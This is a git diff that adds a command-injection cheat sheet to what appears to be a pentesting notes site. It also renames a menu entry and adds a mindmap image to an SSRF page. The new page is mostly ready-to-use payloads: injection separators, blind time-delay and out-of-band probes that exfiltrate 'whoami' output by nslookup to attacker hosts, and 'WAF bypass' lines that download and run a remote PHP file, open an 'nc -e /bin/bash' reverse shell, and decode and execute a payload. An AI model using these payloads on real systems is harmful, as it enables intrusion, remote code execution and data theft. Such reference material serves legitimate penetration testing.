diff --git a/.gitbook/assets/image (26).png b/.gitbook/assets/image (26).png
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diff --git a/SUMMARY.md b/SUMMARY.md
index b561fa4f..82bdc583 100644
--- a/SUMMARY.md
+++ b/SUMMARY.md
@@ -53,7 +53,7 @@
   * [HTTP Parameter pollution](enumeration/web/parameter-pollution.md)
   * [SSTI](enumeration/web/ssti.md)
   * [Prototype Pollution](enumeration/web/prototype-pollution.md)
-  * [Tabnabbing](enumeration/web/tabnabbing.md)
+  * [Command Injection](enumeration/web/command-injection.md)
 * [Web Services](enumeration/webservices/README.md)
   * [APIs](enumeration/webservices/apis.md)
   * [JS](enumeration/webservices/js.md)
diff --git a/enumeration/web/command-injection.md b/enumeration/web/command-injection.md
new file mode 100644
index 00000000..c2054b44
--- /dev/null
+++ b/enumeration/web/command-injection.md
@@ -0,0 +1,92 @@
+# Command Injection
+
+{% hint style="info" %}
+Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application.
+{% endhint %}
+
+```text
+# For detection, try to concatenate another command to param value
+&
+;
+Newline (0x0a or \n)
+&&
+|
+||
+# like: https://target.com/whatever?param=1|whoami
+
+# Blind (Time delay)
+https://target.com/whatever?param=x||ping+-c+10+127.0.0.1||
+
+# Blind (Redirect)
+https://target.com/whatever?param=x||whoami>/var/www/images/output.txt||
+
+# Blind (OOB)
+https://target.com/whatever?param=x||nslookup+burp.collaborator.address||
+https://target.com/whatever?param=x||nslookup+`whoami`.burp.collaborator.address||
+
+# Common params:
+cmd
+exec
+command
+execute
+ping
+query
+jump
+code
+reg
+do
+func
+arg
+option
+load
+process
+step
+read
+function
+req
+feature
+exe
+module
+payload
+run
+print
+
+# Useful Commands: Linux
+whoami
+ifconfig
+ls
+uname -a
+
+# Useful Commands: Windows
+whoami
+ipconfig
+dir
+ver
+
+# Both Unix and Windows supported
+ls||id; ls ||id; ls|| id; ls || id 
+ls|id; ls |id; ls| id; ls | id 
+ls&&id; ls &&id; ls&& id; ls && id 
+ls&id; ls &id; ls& id; ls & id 
+ls %0A id
+
+# Time Delay Commands
+& ping -c 10 127.0.0.1 &
+
+# Redirecting output
+& whoami > /var/www/images/output.txt &
+
+# OOB (Out Of Band) Exploitation
+& nslookup attacker-server.com &
+& nslookup `whoami`.attacker-server.com &
+
+# WAF bypasses
+vuln=127.0.0.1 %0a wget https://evil.txt/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
+vuln=127.0.0.1%0anohup nc -e /bin/bash <attacker-ip> <attacker-port>
+vuln=echo PAYLOAD > /tmp/payload.txt; cat /tmp/payload.txt | base64 -d > /tmp/payload; chmod 744 /tmp/payload; /tmp/payload
+
+
+```
+
+
+
diff --git a/enumeration/web/ssrf.md b/enumeration/web/ssrf.md
index f8699c71..50028040 100644
--- a/enumeration/web/ssrf.md
+++ b/enumeration/web/ssrf.md
@@ -225,3 +225,7 @@ header('Location: http://127.0.0.1:8080/status');
 # https://h.43z.one/ipconverter/
 ```
 
+## Mindmap
+
+![](../../.gitbook/assets/image%20%2826%29.png)
+